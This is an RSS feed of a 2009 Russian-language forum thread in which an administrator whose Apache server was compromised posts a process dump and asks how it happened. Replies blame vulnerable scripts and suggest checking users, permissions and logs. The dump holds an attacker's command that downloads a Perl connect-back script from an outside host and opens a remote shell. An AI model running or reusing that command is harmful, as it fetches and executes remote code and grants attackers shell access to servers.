<?xml version="1.0" encoding="koi8-r"?>
<rss version="0.91">
<channel>
    <title>OpenForum RSS: Apache got hacked. Need help</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/4346.html</link>
    <description>Vot chast dumpa commadi: &#091;B&#093;ps -AH x&#091;/B&#093;&lt;br&gt;&lt;br&gt;&#091;CODE&#093;&#091;B&#093;root      8769  0.0  0.3 201012 11508 ?        Ss   Jul22  12:18   /usr/sbin/apache2 -k start&lt;br&gt;www-data 12996  0.0  0.2 201148  7504 ?        S    Sep03   0:00     /usr/sbin/apache2 -k start&lt;br&gt;www-data 13294  0.0  0.0   3944   564 ?        S    Sep03   0:00       sh -c cd /dev/shm;wget sip.geostarcom.com/phpmyadmin/cb.txt;perl cb.txt thor.weru.ksu.edu 8080&#091;/B&#093;&lt;br&gt;www-data 13296  0.0  0.0  25404  2740 ?        S    Sep03   0:00         perl cb.txt thor.weru.ksu.edu 8080&lt;br&gt;www-data 13297  0.0  0.0   3944   572 ?        S    Sep03   0:00           sh -c echo &quot;&#096;uname -a&#096;&quot;;echo &quot;&#096;id&#096;&quot;;/bin/sh&lt;br&gt;www-data 13300  0.0  0.0   3944   580 ?        S    Sep03   0:00             /bin/sh&lt;br&gt;www-data 13700  0.0  0.0   3944   564 ?        S    Sep03   0:00               sh&lt;br&gt;www-data 13703  0.0  0.0   3944   560 ?        S    Sep03   0:00                 sh&lt;br&gt;www-data 14061  0.0  0.0   3944   572 ?        S    Sep03   0:00                   sh&lt;br&gt;www-data 14153  0.0  0.0   3944   596 </description>

<item>
    <title>Apache got hacked. Need help (kopenes)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/4346.html#3</link>
    <pubDate>Thu, 01 Oct 2009 08:58:19 GMT</pubDate>
    <description>&amp;gt;&amp;gt;&lt;br&gt;&amp;gt;&amp;gt;&amp;gt;Vopros: kakim obrazom process 12996 forkaet process 13294. Kak apacha mojet zapuskat &lt;br&gt;&amp;gt;&amp;gt;&amp;gt;processi v dannom sluchae kommandu &#091;B&#093;sh ....&#091;B&#093; &lt;br&gt;&amp;gt;&amp;gt;&lt;br&gt;&amp;gt;&amp;gt;скрипты дырявые на хосте &lt;br&gt;&amp;gt;&lt;br&gt;&amp;gt;Pryamo skajem ne ochen ischerpivaushiy otvet, no vse ravno spasibo. &lt;br&gt;&lt;br&gt;Проверить у всех права, новые группы, юзеров. Посмотреть логи на изменения. &lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;-----&lt;br&gt;http://www.web-it.ru&lt;br&gt;</description>
</item>

<item>
    <title>Apache got hacked. Need help (James)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/4346.html#2</link>
    <pubDate>Mon, 07 Sep 2009 09:40:33 GMT</pubDate>
    <description>&amp;gt;&lt;br&gt;&amp;gt;&amp;gt;Vopros: kakim obrazom process 12996 forkaet process 13294. Kak apacha mojet zapuskat &lt;br&gt;&amp;gt;&amp;gt;processi v dannom sluchae kommandu &#091;B&#093;sh ....&#091;B&#093; &lt;br&gt;&amp;gt;&lt;br&gt;&amp;gt;скрипты дырявые на хосте &lt;br&gt;&lt;br&gt;Pryamo skajem ne ochen ischerpivaushiy otvet, no vse ravno spasibo.&lt;br&gt;</description>
</item>

<item>
    <title>Apache got hacked. Need help (Michael)</title>
    <link>https://www.opennet.ru/openforum/vsluhforumID10/4346.html#1</link>
    <pubDate>Mon, 07 Sep 2009 09:26:04 GMT</pubDate>
    <description>&lt;br&gt;&amp;gt;Vopros: kakim obrazom process 12996 forkaet process 13294. Kak apacha mojet zapuskat &lt;br&gt;&amp;gt;processi v dannom sluchae kommandu &#091;B&#093;sh ....&#091;B&#093; &lt;br&gt;&lt;br&gt;скрипты дырявые на хосте&lt;br&gt;&lt;br&gt;</description>
</item>

</channel>
</rss>
